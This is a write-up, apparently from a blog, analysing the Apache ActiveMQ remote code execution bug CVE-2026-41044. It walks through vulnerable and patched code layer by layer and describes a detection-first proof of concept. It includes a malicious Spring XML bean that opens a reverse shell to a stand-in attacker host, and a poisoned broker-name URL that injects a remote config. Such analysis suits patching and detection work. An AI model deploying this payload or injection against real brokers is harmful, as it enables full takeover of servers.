
Educational walkthrough and proof-of-concept for CVE-2026-41044, an Apache ActiveMQ RCE, with root-cause analysis and detection script.
Note: Educational Purposes Only
CVE-2026-41044 was disclosed on April 24, 2026. It's a remote code execution bug in Apache ActiveMQ Classic, found by jsjcw, patched in 5.19.6 and 6.2.5. I didn't find it.
What I want to show is how someone who has never touched ActiveMQ before can produce a working exploit of an N-day in an afternoon, because the patched code is public, the unpatched code is public, and the gap between them is a git diff away.
The process is simple:
What used to take days now takes an afternoon. AI doesn't find bugs. It reads code and explains it as fast as you can ask questions. The expensive part is still you: deciding what's actually exploitable, where the real trust boundaries are, what needs verification. The model just walks call graphs faster than any human can.
The bigger point: if your patching workflow assumes a week of analysis time per CVE, you're on the old timeline. git diff is the same length whether you're writing detection or writing exploits.
ActiveMQ is a message broker. It sits in the middle and passes messages between applications. Think of it like a post office: apps drop off messages, ActiveMQ delivers them to the right recipient. It's widely deployed in enterprise Java stacks and exposes a web console and a REST management API called Jolokia at /api/jolokia/. Default credentials in many deployments are still admin:admin.
ActiveMQ let any authenticated user load a broker configuration from an arbitrary HTTP URL, which Spring would parse and immediately execute as Java objects - including ProcessBuilder - giving the attacker full OS command execution on the broker server.
localhost./api/jolokia/ that exposes management operations as a REST API. Any valid web console credential reaches it - not just admin.vm:// transport: the in-process transport used when a client lives in the same JVM as the broker. It accepts a ?brokerConfig= query parameter pointing to a Spring XML config to bootstrap a broker from.xbean:: a URL scheme that tells ActiveMQ to treat the URL as a Spring XML config and load it.init-method: Spring reads XML and automatically creates Java objects (beans). The init-method attribute tells Spring to call a method on the bean the moment it is created - before anything else runs.ProcessBuilder: a standard Java class that runs OS commands. ProcessBuilder.start() executes the command.DestinationView.sendTextMessage() in 5.19.2 builds a broker connection URL by directly concatenating the broker name into a string:
// 5.19.2 - DestinationView.sendTextMessage()
String brokerUrl = "vm://" + broker.getBrokerName();
ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
If getBrokerName() returns localhost?brokerConfig=xbean:http://attacker/poison.xml, that entire string becomes a valid vm:// URI with an embedded query parameter. ActiveMQConnectionFactory hands it to VMTransportFactory, which lifts the brokerConfig parameter out and uses it as the broker's bootstrap configuration URL.
The fix in 5.19.6 is one line:
// 5.19.6 - DestinationView.sendTextMessage()
URI brokerUrl = broker.getVmConnectorURI();
String becomes URI - accidental concatenation is no longer possible. The value comes from a pre-constructed, immutable URI object derived from the broker's actual registered VM connector, not from a mutable name string.
For Layer 1 to be exploitable, the broker name has to be poisoned first. BrokerService has always sanitized broker names:
// BrokerService.setBrokerName() - present in BOTH versions
private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
That regex strips ? and = cleanly. The CVE existed because RegionBroker had its own separate setter that did not:
// 5.19.2 - RegionBroker.java
private String brokerName; // mutable
public void setBrokerName(String brokerName) {
this.brokerName = brokerName; // no validation at all
}
This is a classic confused deputy - two setters on related classes, only one of them sanitizes. A remote peer broadcasting a crafted BrokerInfo packet with a poisoned name field reaches RegionBroker.setBrokerName() directly, bypassing BrokerService's regex entirely.
The fix in 5.19.6 deletes the setter, makes the field final, and initializes it once from the already-sanitized parent:
// 5.19.6 - RegionBroker.java
private final String brokerName; // immutable
public RegionBroker(BrokerService brokerService, ...) {
this.brokerName = Objects.requireNonNull(
brokerService.getBrokerName(), "The broker name cannot be null");
// setBrokerName() is gone. There is no setter anymore.
}
You cannot bypass a sanitizer that has no parallel writer.
VMTransportFactory.doCompositeConnect() is the function that takes the vm://...?brokerConfig=... URI, lifts the brokerConfig parameter, and calls BrokerFactory.createBroker(brokerURI). It is the trigger mechanism of the entire chain.
Apache changed exactly nothing here.
That choice tells you something about how they thought about the fix. VMTransportFactory is doing legitimate work - vm:// transports really are supposed to accept bootstrap configs. Patching it would have broken the intended design. Instead, Apache fixed the bug at the source (Layer 2: no poisoned name can be written) and at the sink (Layer 5: even if a poisoned URL got through, the resource resolver won't fetch it).
Fix the layers where validation belongs, not the layer where the attacker happened to come through.
// XBeanBrokerFactory - same in both versions
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri); // Layer 5
return new ResourceXmlApplicationContext(resource) { ... };
}
ResourceXmlApplicationContext(resource) is where Spring does its thing - every bean's init-method runs on context construction, before ActiveMQ's BrokerService ever validates the result. There is no patch to make here. Spring's contract is correct as designed. The bug was that ActiveMQ relied on validation happening before instantiation, and Spring doesn't promise that ordering.
This is the function that decided whether xbean:http://attacker/poison.xml should be fetched. In 5.19.2:
// 5.19.2 - Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
if (new File(uri).exists()) {
return new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
return new UrlResource(ResourceUtils.getURL(uri)); // http? ftp? jar? no check.
} else {
return new ClassPathResource(uri);
}
}
No protocol filter. http://, https://, ftp://, jar:// - all accepted silently.
The 5.19.6 fix adds an explicit allowlist. Only file and classpath are permitted by default. Everything else throws before UrlResource is ever constructed:
// 5.19.6 - Utils.java
public static final String FILE_PROTOCOL = "file";
public static final String CLASSPATH_PROTOCOL = "classpath";
public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
throws MalformedURLException {
// ...
} else if (ResourceUtils.isUrl(uri)) {
validateUrlAllowed(uri, allowedProtocols); // throws if http/https/etc
resource = new UrlResource(ResourceUtils.getURL(uri));
}
}
static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
throws URISyntaxException {
if (allowedProtocols != null) {
final String detectedProtocol = getProtocolFromScheme(uriString);
if (!allowedProtocols.contains(detectedProtocol)) {
throw new IllegalArgumentException("URL [" + uriString +
"] uses protocol '" + detectedProtocol + "' which is not allowed");
}
}
}
XBeanBrokerFactory now passes {file, classpath} as the allowlist. Even if a poisoned broker name somehow reached this function in a future version, http://attacker/poison.xml would throw before Spring ever saw it.
<beans xmlns="http://www.springframework.org/schema/beans" ...>
<bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/sh</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/attacker/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
The moment Spring constructs the ApplicationContext, init-method="start" fires on the ProcessBuilder bean. ActiveMQ's BrokerService.start() validation runs afterward. By then the shell has already connected back.
There are two ways to reach the vulnerable Utils.resourceFromString sink:
The full production path (what the advisory describes):
Remote peer sends crafted BrokerInfo packet
-> RegionBroker.setBrokerName() stores poisoned name with no validation
-> DestinationView.sendTextMessage() concatenates it into a vm:// URL
-> VMTransportFactory lifts brokerConfig parameter
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
The short path (what poc.sh uses):
BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
-> XBeanBrokerFactory -> Utils.resourceFromString -> Spring RCE
The PoC takes the short path for a practical reason: the full path requires setting up a second ActiveMQ broker as a network peer that sends a crafted BrokerInfo packet to the target - a broker-to-broker interaction that needs a more complex lab setup. The short path works with a single broker and a basic HTTP server.
Both paths hit the same vulnerable primitive. The PoC confirms the sink is exploitable and the CVE is present on the target. If you want to reproduce the exact entry point described in the advisory, you need to add the broker-to-broker step.
The PoC runs in detection-only mode by default. It probes two signals:
Banner check - reads BrokerVersion via Jolokia:
< 5.19.6 or 6.0.0 - 6.2.4 = vulnerable rangeBehaviour check - calls addNetworkConnector("vm://probe") via Jolokia:
Transport scheme 'vm' is not allowedDiscoveryAgent scheme NOT recognized IOExceptionThe rejection on the patched version comes from BrokerView.validateAllowedUrl() - a separate deny-list added directly to the addNetworkConnector JMX operation in 5.19.6, not from Utils.resourceFromString. These are two independent fixes: one guards the JMX management surface, the other guards the resource loading primitive described in Layer 5. The behaviour probe tests the former.
| Layer | Vulnerable (5.19.2) | Fixed (5.19.6) |
|---|---|---|
DestinationView | "vm://" + brokerName string concat | broker.getVmConnectorURI() immutable URI |
RegionBroker | mutable field, unsanitized setter | final field, setter deleted, initialized from sanitized parent |
VMTransportFactory | unchanged | unchanged (by design) |
XBeanBrokerFactory | calls Utils.resourceFromString(uri) | calls Utils.resourceFromString(uri, allowedProtocols) |
Utils.resourceFromString | fetches any URL scheme | allowlist enforced - only file and classpath by default |